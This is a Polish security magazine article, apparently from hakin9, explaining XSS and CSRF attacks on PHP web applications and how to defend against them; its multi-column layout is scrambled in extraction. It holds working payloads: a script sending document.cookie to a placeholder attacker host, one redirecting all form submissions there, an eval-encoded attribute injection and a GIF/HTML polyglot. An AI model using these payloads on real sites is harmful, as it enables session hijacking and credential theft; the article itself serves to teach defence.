z obiegowymi opiniami o nieszko- na metodzie dostarczenia kodu używane-
dliwości ataków XSS (ang. Cross- go do ataku. XSS wykorzystuje możliwość
Site Scripting) i CSRF (ang. Cross-Site wstawienia dowolnego kodu do niespraw-
Request Forgery), w tym artykule wcielę dzonego pola tekstowego, na przykład
się w rolę napastnika i postaram się zgłoszonego z formularza metodą POST,
pokazać, że odpowiednio podstawiając natomiast podczas ataku typu CSRF, do
rzekomo nieszkodliwe fragmenty kodu pobrania i wykonania używanego przez
HTML można osiągnąć niezwykłe wręcz intruza kodu wykorzystywany jest nie brak
efekty, od podszycia się pod konkretnego walidacji, tylko określone funkcje przeglą-
W SIECI użytkownika po całkowicie niezauważalną darek internetowych.
podmianę całej treści witryny.
Strzeż się nieznanych
1. http://www.secunia.com –
komunikaty bezpieczeństwa O atakach XSS i CSRF plików graficznych
dla popularnych aplikacji Na początku powiemy kilka słów o istocie Najprostszy i zarazem najczęściej spotyka-
2. http://phpsec.org/ – PHP
Security Consortium
ataków XSS i CSRF. Cel obu typów ata- ny rodzaj ataku CSRF opiera się na wyko-
3. http://hakin9.org – hakin9, ków jest taki sam: wykorzystując określo-
magazyn o hakingu i bezpie- ną podatność, napastnik ma możliwość
czeństwie komputerowym
4. http://pear.php.net/package/ wstawienia na stronę dowolnego kodu, Co powinieneś wiedzieć...
Powinieneś znać podstawy PHP, HTML
HTML_BBCodeParser który następnie może posłużyć do wyko-
– parser BBCode i JavaScriptu.
nywania operacji niezamierzonych przez
5. http://pixel-apes.com/ Co obiecujemy...
safehtml – pakiet SafeHTML twórcę witryny – na przykład przechwyty- Dowiesz się na czym polegają ataki XSS
firmy Pixel-apes
6. http://shiflett.org/ – strona
wania plików cookies nic nie podejrzewa- i CSRF oraz jak się przed nimi bronić.
domowa Chrisa Shifletta jącego użytkownika.
rzystaniu HTML-owego znacznika <img>, wykonania i wiele aplikacji jest na niego ka każdego użytkownika otwierającego za-
służącego do wyświetlania obrazów. podatnych. Dla potrzeb artykułu przepro- atakowaną stronę wysyłała żądanie pobra-
Zamiast znacznika zawierającego URL wadzimy atak za pośrednictwem aplikacji nia witryny napastnika, a to z kolei powo-
pliku graficznego, napastnik podstawia takiej, jak forum lub blog, pozwalającej dowało sztuczne zwiększanie liczby od-
tag wskazujący na kod JavaScriptu, który użytkownikom osadzać w swoich wypo- wołań do strony i szybko windowało witry-
zostanie uruchomiony w przeglądarce wiedziach (postach) obrazy za pomocą nę oszusta na wysoką pozycję. Metoda ta
ofiary. Pozwala to wykonywać najróżniej- znacznika <img> lub odpowiadającego bywa wciąż używana, ale jej skuteczność
sze operacje w ramach sesji użytkownika, mu znacznika BBcode [img]. Atak polega opiera się na zamieszczeniu przypisane-
który często nie jest nawet świadom tego, na podaniu w ramach znacznika adresu go konkretnej witrynie odnośnika do serwi-
że właśnie trwa atak. URL wskazującego nie na plik graficzny, su agregującego. Gdyby na przykład witry-
Innym ważnym aspektem tych ataków lecz na inną stronę tego samego serwi- na foobar.com otrzymała adres zliczający
jest sposób prezentowania ofierze zmo- su, której wywołanie z żądaniem GET http://tracker.com/?sid=1234, nieuczciwy
dyfikowanej strony. W większości przy- powoduje wykonanie określonej operacji, operator mógłby wstawiać ten odsyłacz na
padków napaść polega na dodawaniu lub na przykład http://foobar.com/admin/ różne strony (a nie tylko na swoją własną),
modyfikacji treści strony poprzez zmianę delete_msg=1. Gdy użytkownik załaduje tę przez co każde otwarcie strony zawierają-
adresu URL dla żądania GET i nakłonie- stronę, przeglądarka spróbuje pobrać plik cej takiego linka byłoby liczone jako wizyta
nie użytkownika do kliknięcia na link do te- obrazu, tym samym wykonując polecenie na stronie foobar.com, w efekcie sygnali-
go adresu. Ten ostatni etap ataku wymaga powodujące (w tym przypadku) usunięcie zując witrynie tracker.com duży ruch na fo-
nieco socjotechniki i stąd właśnie bierze wiadomości o identyfikatorze 1. Taki atak obar.com. Na szczęście ładowany jest za-
się mylne przeświadczenie o nieszkodli- nie będzie skuteczny dla wszystkich użyt- wsze ten sam adres URL, więc do ujaw-
wości ataków XSS – w końcu ich powo- kowników, ale to akurat nie szkodzi, gdyż nienia oszustwa najczęściej wystarczy pro-
dzenie wymaga współpracy użytkownika wystarczy, że powiedzie się raz. Podatni ste sprawdzanie nagłówka HTTP Referer.
(nawet jeśli jest ona nieświadoma). na ten konkretny atak będą wszyscy użyt- Innego rodzaju atak ma przede
Tak się jednak składa, że jest to tylko kownicy, którzy są zalogowani w serwisie wszystkim na celu zepsucie układu stro-
jeden z możliwych sposobów dostarczenia foobar.com i na których komputerze zapi- ny poprzez zamieszczenie odsyłacza do
danych atakujących. Informacje niezbędne sany jest plik cookie poświadczający ich niewielkiego pliku graficznego zawierają-
do przeprowadzenia ataku XSS mogą też autoryzację w ramach tego serwisu. Plik cego bardzo duży obraz, która na pew-
być trwale składowane – jeśli napastnikowi jest wysyłany do serwera przy każdym no zapełni cały ekran, spychając z niego
uda się zapisać złośliwe dane w atakowa- żądaniu strony i zawiera informacje nie- wszelką inną zawartość. Ogromny GIF
nej witrynie, to mogą one być wykonywane zbędne do autoryzowania operacji podsta- o wymiarach 2000 na 2000 pikseli może
dla dowolnej liczby użytkowników odwie- wionej przez intruza. zajmować zaledwie 3786 bajtów, ale za-
dzających serwis bez żadnych działań z ich pełni cały ekran, niezależnie od rozdziel-
strony. Oznacza to, że żadne wybiegi so- O tym, jak przeglądarki czości i rozmiarów monitora. Oczywiście
cjotechniczne nie są potrzebne, gdyż na pomagają napastnikom nie jest to działanie szkodliwe, a jedynie
atak narażony jest każdy użytkownik od- Starsze wersje Internet Explorera i innych irytujące.
wiedzający zmodyfikowaną witrynę. przeglądarek potrafiły wręcz wykonywać Zapewne myślisz sobie teraz: nie nie,
Wykonanie kodu niezbędnego dla i wyświetlać całe strony WWW ukryte moja aplikacja nie jest taka głupia – nie do-
ataku CSRF (który może być osadzony w znacznikach grafiki – jeśli adres URL puszcza byle jakich odsyłaczy do obrazów,
w ramach XSS) jest jeszcze łatwiejsze: wskazywał na plik HTML, przeglądarka tylko używa funkcji PHP getimagesize()
wystarczy wysłać ofierze e-maila zawie- wyświetlała i wykonywała wskazaną stro- do sprawdzenia, czy każdy ładowany ob-
rającego odpowiedni kod HTML. W chwili nę, włącznie z pobraniem wszystkich jej raz jest faktycznie plikiem graficznym o do-
otwierania wiadomości przez program elementów. Jest to o tyle niebezpieczne, puszczalnych wymiarach i wielkości.
pocztowy wykonywany jest zawarty że taka strona może zawierać kod Ja-
w niej kod HTML, co pozwala na prze- vaScript modyfikujący zawartość strony Nie wszystko złoto co się świeci
prowadzanie wszelkiego rodzaju ataków wywołania, do którego uzyskuje dostęp Niestety, takie zabezpieczenie można z ła-
XSS i CSRF, zwłaszcza, że treść listów poprzez właściwość window.opener. twością ominąć. Aby przejść podstawowe
zawierających HTML jest automatycznie Ta droga ataku była stosowana we sprawdzanie rozszerzenia pliku, napastnik
wykonywana przez większość programów wczesnych atakach CSRF, wykorzystywa- dostarcza URL faktycznie wyglądający jak
pocztowych pozwalających na korzystanie nych przez oszustów usiłujących nakłonić adres pliku graficznego, na przykład http://
z HTML-a. użytkowników do odwiedzenia ich witryn hacker.com/me.jpg, co pozwoli uśpić
poprzez sztuczne windowanie pozycji swo- czujność mechanizmów testujących po-
Pierwszy atak CSRF ich stron w agregatorach obliczających po- prawność rozszerzenia. Teraz korzystając
Znamy już zasady przeprowadzania ata- pularność witryny na podstawie liczby po- z modułu mod_rewrite wystarczy podmie-
ków, ale nadal nie wiemy, dlaczego fak- chodzących z niej odwołań. Najczęstszą nić odwołanie do me.jpg na adres skryptu
tycznie mogą one stanowić problem. Na metodą ataku było osadzanie na stronach PHP przeprowadzającego atak, by uzy-
początek zajmiemy się przeprowadzeniem spreparowanych obrazków z odsyłacza- skać możliwość wykonania w zasadzie
ataku CSRF, gdyż jest on najłatwiejszy do mi do agregatorów, przez co przeglądar- dowolnego kodu:
napastnikowi modyfikację treści pomiędzy je dowolny kod HTML osadzony w obra- Najpoważniejszym chyba problemem
żądaniami. Gdyby obraz był sprawdzany zie, co otwiera drogę do ataku XSS i CSRF z pobieraniem pliku z poziomu PHP jest
na podstawie adresu do pliku zdalnego, w przypadku bezpośredniego dostępu do podatność na atak Denial of Service
a dopiero potem pobierany, napastnikowi takiego pliku: (DoS) skierowany przeciwko serwero-
wystarczyłoby proste zliczanie żądań wi. Pobranie pliku przez PHP wymaga
z konkretnego adresu IP, by dla drugiego <GIF89a 8 f > nawiązania połączenia z serwerem, na
żądania podmienić zwracaną treść i tym <html> którym on się znajduje. Jeśli serwer ten
samym umożliwić atak. <head> jest powolny, połączenie się z nim może
Pobranie pliku na maszynę lokalną <script>alert("XSS");</script> nieco potrwać. Podczas nawiązywania
uniemożliwia ewentualną dalszą modyfi- </head> połączenia, proces PHP obsługujący
kację treści po stronie zdalnego serwera. <body></body> żądanie czeka bezczynnie na otwarcie
Wynikiem działania funkcji getimagesize() </html> gniazda. Nie spowoduje to jednak żadne-
jest tablica zawierająca różnego rodzaju go ostrzeżenia, gdyż czekanie nie zużywa
informacje o obrazie. Jeśli w wyniku wy- (Błąd odkrył Marc Ruef, http://www.securi- czasu procesora. Czas oczekiwania jest
wołania tej funkcji nie otrzymamy tablicy, team.com/windowsntfocus/6F100B00EBY. domyślnie ustawiony aż na 60 sekund,
to wiemy, że nie mamy do czynienia html). Tak spreparowany plik obrazu po- co oznacza, że dany proces PHP może
z poprawnym plikiem graficznym. Pierw- zwoliłby na udany atak niezależnie od wa- być niezdatny do użytku nawet przez mi-
szy etapem sprawdzenia poprawności lidacji za pomocą funkcji getimagesize(), nutę. Wystarczy więc nakłonić wszystkie
jest więc upewnienie się, że faktycznie gdyż sprawdza ona jedynie nagłówek pliku, aktywne procesy serwera WWW do po-
mamy do czynienia z obrazem, a drugim który w tym przypadku jest jak najbardziej bierania plików zewnętrznych, by serwer
– sprawdzenie rozmiarów obrazu, by po dopuszczalny. Przypisując plikowi rozsze- stał się niedostępny dla użytkowników.
wstawieniu na stronę nie zepsuł jej układu. rzenie na podstawie typu deklarowanego Większość serwerów dopuszcza nie
W przypadku niepowodzenia jednego ze w nagłówku eliminujemy tę rozbieżność, więcej niż 200 równoczesnych połączeń,
sprawdzeń, podejrzany plik jest usuwany tym samym udaremniając atak. więc dokonanie ataku DoS tą metodą
z dysku, by nie dopuścić do wyczerpania Gdyby była to jedyna trudność zwią- jest zadaniem trywialnym. Na szczęście
miejsca. Ostatnim etapem walidacji jest zana z proponowanym rozwiązaniem, to można temu zaradzić skracając czas
zmiana nazwy pliku i nadanie mu rozsze- zapewne byłoby ono szerzej stosowane. oczekiwania na połączenie do znacznie
rzenia zgodnego z jego typem, by przeglą- Jest jednak kilka innych problemów. Po bezpieczniejszych 2–5 sekund, co wy-
darki mogły poprawnie wyświetlać obraz. pierwsze, lokalne zapisywanie wszyst- maga jedynie zmiany wartości parametru
Niezwykle istotnym jest, by NIE uży- kich plików graficznych może wymagać default_socket_timeout w pliku php.ini.
wać rozszerzenia pobranego z adresu do- bardzo dużo przestrzeni dyskowej, co Modyfikację tę można też wykonać z po-
starczonego przez użytkownika, lecz usta- w przypadku operatorów witryn o ogra- ziomu skryptu – wtedy nowy czas będzie
lić je samodzielnie na podstawie zawarto- niczonych zasobach jest bardzo istotnym dotyczyć wszystkich połączeń nawiązy-
ści pliku – jest to konieczne w celu unik- czynnikiem. Co więcej, udostępnianie wanych przez PHP za pośrednictwem
nięcia niedawno odkrytego błędu w Inter- wszystkich plików graficznych z serwe- API strumieni:
net Explorerze. Usterka ujawnia się w sy- ra może znacznie zwiększyć zużycie
tuacji, gdy rozszerzenie pliku graficznego pasma, a tym samym podnieść koszty // ograniczenie czasu oczekiwania
jest niezgodne z typem wynikającym z na- utrzymania serwera. Częściowym roz- // na połączenie
główka pliku, na przykład gdy plik me.jpg wiązaniem obu trudności jest wprowa- ini_set("default_socket_timeout", 5);
jest w rzeczywistości obrazem GIF. W ta- dzenie ograniczenia wielkości plików,
kiej sytuacji IE robi coś bardzo dziwnego: ale jest to raczej sposób na ominięcie Wykonanie tego polecenia nie rozwiązu-
przetwarza plik w taki sposób, że wykonu- problemu niż jego rozwiązanie. je problemu powolnego pobierania pliku.
R E K L A M A
Dodatkowym utrudnieniem jest fakt, że one też być przeprowadzane innymi nie usuwała, więc na przykład dopuszcze-
strumienie PHP są domyślnie blokują- metodami, które pod pewnymi względa- nie znaczników pogrubienia i kursywy wy-
ce, czyli raz otwarty strumień będzie do mi są znacznie bardziej nieprzyjemne, magałoby wywołania strip_tags($test,
skutku czekał na nadesłanie danych ze a w dodatku trudniejsze do wykrycia. "<b><i>"). Mechanizm prosty i bezpiecz-
zdalnego serwera, gdyż nie ma tu żad- Jedną z dróg ataku jest wykorzystanie ny – tylko czy aby na pewno?
nego domyślnego czasu oczekiwania. atrybutu CSS background, pozwalającego Niestety, nie jest to podejście bezpiecz-
Sytuacja nie jest jednak beznadziejna określić plik graficzny używany jako tło ne. Funkcja strip_tags() przepuszcza
dzięki funkcji stream_set_timeout(), po- dla elementu strony. Jak umieścić taki każdy dopuszczony znacznik w całości,
zwalającej ustawić czas oczekiwania dla atrybut w kodzie? Sposób jest znacznie wraz ze wszelkimi atrybutami zapisany-
strumienia (Listing 5). Funkcja ta operuje prostszy, niż mogłoby się wydawać, mi w jego obrębie. Napastnik nie może
jednak bezpośrednio na strumieniu, więc a w dodatku dość często spotykany. Pro- wprawdzie wstawiać własnych tagów, ale
musimy zmodyfikować kod pobierający blem tkwi w tym, że wiele aplikacji PHP za to może umieszczać dowolne atrybuty
plik tak, by nie korzystał z opakowującej pozwala użytkownikom określać sposób w znacznikach dopuszczanych przez apli-
obsługę strumienia funkcji file_get_ wyświetlania wprowadzanych danych, kację. Specyfikacja W3C nie przewiduje dla
contents(). dopuszczając stosowanie w tekście pro- znaczników w rodzaju <b> czy <i> obsługi
Nowy kod pobierający plik nakazuje stych znaczników formatujących HTML, atrybutu stylu określającego tło elementu,
PHP czekać na nadesłanie danych z gniaz- na przykład pogrubienia <b>, kursywy ale nie ma to większego znaczenia, gdyż
da nie dłużej niż przez sekundę. Wy- <i> i tym podobnych. Implementacja ta- większość przeglądarek i tak obsługuje
korzystanie trzeciego argumentu funkcji kiego rozwiązania często bywa kłopotli- takie atrybuty. Możemy więc wykorzystać
stream_set_timeout() pozwala określić je- wa. W wielu przypadkach dopuszczenie sztuczki pokazane przy okazji ataku po-
szcze krótszy czas, mierzony w mikro- znaczników formatujących odbywa się przez znacznik <img> – wystarczy wybrać
sekundach – na przykład wywołanie z wykorzystaniem nieobowiązkowego sobie dozwolony znacznik i wpisać w nim
stream_set_timeout($fp,0,250000); argumentu funkcji strip_tags(), pozwa- atrybut stylu o treści na przykład takiej:
spowodowałoby ustawienie czasu oczeki- lającego wyłączać z procesu usuwania ta- "background: url('http://hacker.com/
wania na ćwierć sekundy. Jednak nawet gów określone, z założenia nieszkodliwe me.jpg')". Listing 6 przedstawia kod wyko-
w przypadku starannego dobrania czasów znaczniki. Dzięki temu programista, który rzystujący ten zabieg.
oczekiwania nadal istnieje droga ataku: chce pozwolić użytkownikom na stosowa- Ataki tego typu są o tyle nieprzyjemne,
napastnik musi jedynie wysyłać dane nie znaczników formatujących, może na- że brakujący obrazek będzie w przeglądar-
bardzo powoli, na przykład w tempie 5 kazać funkcji, by tych akurat znaczników ce wyświetlany jako tekst czy ikona, przez
bajtów na sekundę, tylko na tyle często, by
uniknąć przekroczenia czasu oczekiwania. Listing 6. Przykład niebezpiecznych stylów CSS
W przypadku obrazu wielkości 20 kilobaj-
tów pozwoliłoby to zająć serwer na 68 se- $text = '<b style="background: url(\'http://hacker.com/me/.jpg\')">TEST</b>';
kund, a większe pliki mogłyby oczywiście
// wypisuje tekst wraz z formatowaniem
zajmować dużo dłużej. echo strip_tags($text, "<b><i>");
Niestety, tego typu atakowi w praktyce
nie da się zapobiec, gdyż wprowadzenie Listing 7. Atak XSS na typowe pole wyszukiwarki
obrony przed nim wymaga od programi-
// kod PHP
stów znacznie więcej czasu i wysiłku, niż
<input type="text" name="s" value="<?php echo $_POST['q']; ?>" />
są na ogół w stanie zainwestować. Roz-
wiązanie polegałoby na pobieraniu obrazu // wynikowy kod HTML po modyfikacji
we fragmentach jednobajtowych i ciągłym <input type="text" name="s" value=""> TEKST XSS <"" />
monitorowaniu szybkości transmisji, co po-
zwoliłoby odrzucać połączenia wolniejsze Listing 8. Przykładowy ciąg atakujący XSS
od pewnego ustalonego minimum. Wyma- <script>
gałoby to zużycia nieporównanie większej var r = new XMLHttpRequest();
mocy obliczeniowej serwera do pobrania
tych samych danych. r.open('get', 'http://hacker.com/?'+document.cookie);
r.send(null);
Podsumowując ataki wykorzystujące
pliki graficzne – jedynym stuprocentowym </script>
rozwiązaniem jest uniemożliwienie użyt-
kownikom dostarczania własnej grafiki. Listing 9. Atak XSS na formularze
Wszystkie inne zabezpieczeniautrudniają
<script>
przeprowadzanie tego typu ataków, ale
z pewnością im nie zapobiegają. for (i=0; i<document.forms.length; i++)
document.forms[i].action='http://hacker.com/x.php?'+ document.forms[i].action;
Niebezpieczne atrybuty CSS
</script>
Znacznik <img> jest wprawdzie najczęst-
szym sprawcą ataków CSRF, ale mogą
co łatwiej zauważyć, że coś jest nie w po- Wyłom poczyniony przez udany atak Inna sztuczka nadaje się dobrze do
rządku, ale brakującego tła nie widać, co XSS może również posłużyć do przepro- atakowania stron pobierających od użyt-
znacznie utrudnia wykrycie ataku. wadzenia w następnej kolejności ataku kownika informacje za pomocą formularzy,
Mam nadzieję, że ten przykład poka- CSRF, więc śmiało można powiedzieć, na przykład stron logowania czy też formu-
zał wystarczająco dobitnie, dlaczego nie że XSS jest atakiem o nieograniczonych larzy z żądaniem informacji o rozliczeniach
należy realizować obsługi znaczników niemal możliwościach i stanowi poważne w witrynach związanych z handlem elektro-
formatujących z wykorzystaniem funkcji zagrożenie. Co gorsza, podatność na nicznym. W tym przypadku ciąg atakujący
strip_tags(). Bezpieczniejszym roz- ataki XSS jest niezwykle powszechnym może posłużyć do takiej modyfikacji właści-
wiązaniem byłoby zaimplementowanie problemem. Kilka tygodni temu okazało wości action formularzy, by przesyłały one
podzbioru tagów BBcode, które nie obsłu- się, że nawet nowe serwisy takich gi- zgłaszane dane do innej witryny.
gują atrybutów. BBcode dostarcza zestaw gantów, jak Google i Yahoo! są podatne Skrypt XSS przedstawiony na Listingu
znaczników formatujących bardzo podob- na takie ataki, a zgłoszenia pojawiające 9 modyfikuje właściwość action wszyst-
nych do tagów HTML-owych, ale prze- się codziennie na listach dyskusyjnych kich formularzy na danej stronie zgodnie
znaczonych wyłącznie do ograniczonego poświęconych bezpieczeństwu dowodzą z zamysłem napastnika, dzięki czemu
formatowania. Znaczniki wprowadzane istnienia podobnych problemów w bar- informacje podane przez użytkownika nie
przez użytkowników są konwertowane dzo wielu aplikacjach. trafią na zamierzoną stronę, tylko do intru-
na kod HTML, dzięki czemu można dać W większości przypadków błędy za. Bardziej pomysłowy złoczyńca zadba
użytkownikom możliwość formatowania umożliwiające atak XSS nie są specjalnie nie tylko o przechwycenie istotnych da-
tekstu bez otwierania drogi atakowi XSS głęboko ukryte – nierzadko podatna na nych, lecz również o ukrycie śladów ataku
czy CSRF. Oczywiście nie trzeba w tym ten atak bywa nawet wyszukiwarka na poprzez przekierowanie tych danych tam,
celu pisać własnego parsera, gdyż istnieją głównej stronie popularnego serwisu. Gdy gdzie powinny były trafić. Służy do tego
odpowiednie narzędzia tego typu. Dosko- użytkownik wprowadza tekst do wyszuka- tymczasowe przekierowanie:
nale nadaje się do tego celu klasa PEAR nia, zapytanie jest wyświetlane na stronie
o nazwie HTML_BBCodeParser, dostępna wyników, najczęściej w postaci gotowej log_data($_GET, $_POST);
pod adresem http://pear.php.net/package/ wartości pola <input>, by ułatwić zmianę header("HTTP/1.0 307 Moved Permanently");
HTML_BBCodeParser. Inną możliwością kryteriów wyszukiwania. Przeprowadzenie header("Location: ".$_SERVER['QUERY_STRING']);
jest dopuszczenie znaczników HTML i wy- ataku XSS jest możliwe przy braku wali-
korzystanie funkcji z pakietu SafeHTML dacji takiego pola. Wykorzystanie podat- Zgodnie ze specyfikacją, przekierowanie
(http://pixel-apes.com/safehtml), usuwa- ności bywa banalnie proste – wystarczy żądania POST powinno być potwierdzone
jących z przekazanego tekstu wszelkie w wyszukiwarce podać ciąg "> TEKST przez użytkownika – odpowiednie okno
niebezpieczne elementy i atrybuty HTML. XSS <", gdzie TEKST XSS zawiera dowolne dialogowe wyświetla Firefox. Wyświetlany
Do przeprowadzenia ataku CSRF dane, które mają być wstawione na stro- komunikat nie jest jednak zbyt czytelny,
można wykorzystać nie tylko sztuczki nę. Początkowe znaki "> mają na celu więc wielu użytkowników odruchowo kliknie
z podstawionymi obrazkami w znacznikach zakończenie znacznika <input>, którego opcję twierdzącą, a nawet jeśli tego nie
<img> i atrybutach tła, ale w także dowolny atrybut wartości zawiera treść zapytania, uczynią, to szkoda i tak została już wyrzą-
inny znacznik, którego przetwarzanie wiąże natomiast końcowe znaki <" domykają dzona, gdyż napastnik uzyskał wysłane
się z automatycznym pobieraniem wska- pozostałą część znacznika (Listing 7). dane. Prawdziwą gratką dla intruza jest
zanego zasobu. Tagi w rodzaju <iframe> Jeśli taki atak się powiedzie, napast- w tym przypadku Internet Explorer, który
czy <script> są na ogół bezpieczne, gdyż nik może niemal dowolnie modyfikować kompletnie ignoruje specyfikację i dokonuje
są one z natury statyczne i niedostępne zawartość strony. Mógłby na przykład przekierowania bez żadnego ostrzeżenia,
dla użytkownika. Jeśli jednak możliwe jest pozyskać plik cookie należący do innego w efekcie całkowicie ukrywając fakt prze-
uzyskanie do nich dostępu za pośrednic- użytkownika – wystarczyłoby zastąpić ciąg słania żądania POST za pośrednictwem
twem niesprawdzonej zmiennej, mogą TEKST XSS kodem z Listingu 8. strony nieuprawnionej. Z punktu widzenia
one stanowić nie mniejsze zagrożenie od Wstawiane dane to w tym przy- użytkownika wygląda to po prostu tak,
mechanizmów opisanych wcześniej. padku króciutki skrypt w JavaScripcie, jakby cała operacja została wykonana
zgłaszający żądanie HTTP do witryny pomyślnie, gdyż wszystko działa i nie
Teraz XSS wybranej przez hakera i przesyłający do jest zgłaszany żaden problem. Cały atak
Ataki CSRF polegają na wykorzystaniu niej nazwy i zawartość wszystkich plików odbywa się poprzez przekierowania, więc
istniejących lub legalnie wprowadzanych cookie aktualnie ustawionych dla pe- zawartość nagłówka HTTP_REFERER nie jest
elementów strony do złośliwych celów, chowego użytkownika. Napastnik może aktualizowana i wykrycie ataku podczas
natomiast celem ataku XSS jest omi- zapisać kopie tych plików na własnym jego trwania nie jest możliwe.
nięcie procesu walidacji i tym samym komputerze i tym samym uzyskać takie Zdarzają się też aplikacje, których
umożliwienie napastnikowi wstawienia prawa dostępu, jak zalogowany w ser- twórcy nie docenili możliwości ataków XSS
na stronę dowolnych treści. Podstawio- wisie użytkownik. Wykorzystana w tym i wprowadzili podstawowe, lecz niedosta-
ne w ten sposób dane mogą służyć do przykładzie funkcja XMLHttpRequest() teczne zabezpieczenia. Nierzadko bywa
wyłudzenia od użytkownika poufnych jest obsługiwana tylko przez Mozilla tak, że niezbędne do wstawienia znacznika
informacji, wykonania określonych ope- Firefox, ale IE udostępnia równoważną znaki <, " i > są bezpiecznie kodowane
racji z uprawnieniami zalogowanego funkcję ActiveXObject("Microsoft.XMLH odpowiednio jako entytki >, "
użytkownika i tym podobnych działań. TTP") o identycznym działaniu. i <, lecz znak apostrofu pozostaje
nietknięty. Jest to typowy efekt korzysta- nic nie robi w kwestii cudzysłowów i apo- GET / HTTP/1.0
nia z domyślnych ustawień funkcji PHP strofów, co w przypadku bezpośredniego Host: <script>...
htmlspecialchars() i htmlentities(), poz- wykorzystania wprowadzanych danych
walających zakodować znaki specjalne otwiera drogę do ataku ze wstawieniem Efekt jest taki, że $_SERVER['HTTP_HOST']
jako odpowiadające im encje HTML. atrybutów. Poprawna walidacja polega zawiera teraz wartość <script>...
Problem niekodowanych apostrofów jest na wykonaniu funkcji strip_tags(), a na- lub inne, znacznie bardziej szkodliwe
taki, że atrybuty umieszczane w obrębie stępnie przetworzeniu wyniku jej działa- dane. Podobne sztuczki można stoso-
znaczników HTML (i potencjalnie wypełnia- nia za pomocą htmlspecialchars() lub wać w przypadku innych nagłówków,
ne danymi wprowadzanymi przez użyt- htmlentities(): na przykład Via (zmienna HTTP_VIA)
kownika) mogą być ujęte właśnie w apo- czy X-Forwarded-For (zmienna HTTP_
strofy. Napastnik może wykorzystać je do // poprawna walidacja X_FORWARDED_FOR), używanych przez
domknięcia istniejącego atrybutu i dopisania $text = htmlspecialchars( serwery pośredniczące do wskazywania
własnego. Moglibyśmy na przykład spróbo- strip_tags($_POST['msg']), użytkownika, od którego pochodzi żą-
wać wstawić atrybut onMouseOver, który ENT_QUOTES); danie. Zamiast adresu lub listy adresów
wywoływałby zdarzenie JavaScriptu w mo- IP, napastnik może zapisać w tych na-
mencie najechania myszą na zaatakowany Tak sprawdzone dane są odporne na atak główkach dowolne dane, które zostaną
element strony. Tworząc kod służący do i można je bezpiecznie zapisać na dysku wykonane przez każdy bez wyjątku
przeprowadzenia ataku musimy jedynie lub wyświetlić w przeglądarce użytkownika. serwer WWW. Jedynym bezpiecznym
pamiętać o unikaniu znaków kodowanych Kluczową sprawą jest walidacja nagłówkiem jest chyba REMOTE_ADDR, który
i używaniu apostrofu jako znaku obej- wszystkich danych wejściowych, nie- przechowuje adres IP użytkownika, gdyż
mującego wartości atrybutów. Może się zależnie od ich pochodzenia. Typowym jest on ustawiany przez serwer i może
to wydawać nieco skomplikowane, ale błędem jest filtrowanie jedynie danych zawierać wyłącznie poprawny adres.
w rzeczywistości przeprowadzenie takiego otrzymywanych za pośrednictwem żądań Wszystkie inne wartości pobierane z na-
ataku jest trywialne dzięki dwóm funkcjom GET i POST oraz plików cookie, a po- główków trzeba zawsze dokładnie spraw-
JavaScriptu: String.fromCharCode(), mijanie walidacji danych pobieranych ze dzać przed wykorzystaniem.
pozwalającej zamienić listę kodów ASCII zmiennych środowiskowych serwera za
na łańcuch złożony z odpowiadających im pośrednictwem nadrzędnej zmiennej glo- Podsumowanie
znaków, oraz eval(), wykonującej kod zapi- balnej $_SERVER. Niektórzy programiści Ten krótki przegląd możliwości ataków XSS
sany w przekazanym jej łańcuchu znaków. zapominają, że zmienne środowiskowe i CSRF pokazał, że stanowią one jak naj-
Aby po najechaniu myszą na zaatakowany są wprawdzie pobierane bezpośrednio bardziej realne zagrożenie i trzeba się
element pojawiał się komunikat JavaScrip- z serwera, ale ich wartości są często przed nimi bronić. Zabezpieczenie aplika-
tu o treści XSS, wystarczy wstawić do ustalane na podstawie danych dostar- cji i serwerów przed atakami nie jest trud-
wartości dowolnego z atrybutów elementu czonych przez użytkownika, a więc mo- ne, więc bezpieczeństwo Twojego serwera
następujący ciąg: gą stanowić takie samo zagrożenie, jak spoczywa wyłącznie w Twoich rękach. Kie-
informacje pobierane bezpośrednio. Co rując się kilkoma prostymi zasadami moż-
' onMouseOver='eval(String.fromCharCode więcej, dane te są często wyświetlane na znacznie ograniczyć ryzyko nieautory-
(97,108,101,114,116,40,39,88,83,83,39, w panelach administracyjnych w razie zowanego dostępu do danych i spowodo-
41,59))' ' wystąpienia błędu, przez co są o tyle bar- wanych nim strat.
dziej niebezpieczne, że ich ofiarą może
Początkowy apostrof zamyka otwarty atry- paść użytkownik o rozszerzonych upraw-
but, a ostatni otwiera następny, by uniknąć nieniach (administrator). Jeden z moż-
błędu parsowania HTML. Treść wstawio- liwych ataków tego typu wykorzystuje
na pomiędzy apostrofami zawiera nowy wartość zmiennej HTTP_HOST, zawierającej O autorze
atrybut, którego wartością jest kod Java- nazwę domeny, w której znajduje się ak-
Ilia Alshanetsky jest głównym architek-
Scriptu wykonujący za pomocą funkcji tualnie przetwarzana strona. Wydaje się,
tem oprogramowania w firmie Advanced
eval() polecenie alert('XSS'); złożone że wartość ta powinna być bezpieczna Internet Designs Inc., specjalizującej się
z przekazanych kodów ASCII. – napastnik nie może chyba zmienić na- w audytach bezpieczeństwa, analizach
Aby uniknąć tego zagrożenia, na- zwy domeny? To niezupełnie tak. Wartość wydajności i tworzeniu aplikacji. Jest
twórcą FUDforum (http://fudforum.org)
leży zawsze pamiętać o przekazywa- zmiennej jest pobierana z nagłówka Host
stworzonego z myślą o połączeniu roz-
niu ENT_QUOTES jako wartości drugiego dostarczanego przez hosta zgłaszające- budowanych możliwości z wydajnością
argumentu funkcji htmlspecialchars() go żądanie. Jeśli witryna ma własny ad- i wysokim poziomem bezpieczeństwa.
i htmlentities(), co spowoduje przeko- res IP lub podstawowy (pierwszy) adres Ilia należy do głównego zespołu progra-
mistów PHP i uczestniczył w tworzeniu
dowanie apostrofów na odpowiadającą im z puli wirtualnych adresów IP, żądanie ze
rozszerzeń między innymi dla SHMOP,
encję HTML '. spreparowaną wartością tego nagłówka PDO, SQLite, GD i ncurses. Czynnie
Pokrewnym błędem walidacji jest zostanie poprawnie przetworzone przez uczestniczy w pracach zespołu kontroli
zabezpieczanie treści dostarczanych serwer Apache. Oznacza to, że żądanie jakości PHP i ma na koncie setki popra-
wionych błędów, jak również sporo popra-
przez użytkownika wyłącznie za pomocą strony z takiej witryny można sfałszować,
wek wydajnościowych i nowych funkcji.
funkcji strip_tags(). Funkcja ta bardzo tym samym umieszczając dowolne dane Kontakt z autorem: ilia@prohost.org
skutecznie usuwa znaczniki HTML, ale w zmiennej HTTP_HOST:
A
by rozwiązać ten problem, stwo- le możliwości, ale my wykorzystamy starą,
rzymy własny system monitorowa- dobrą komendę ping, którą wywołamy
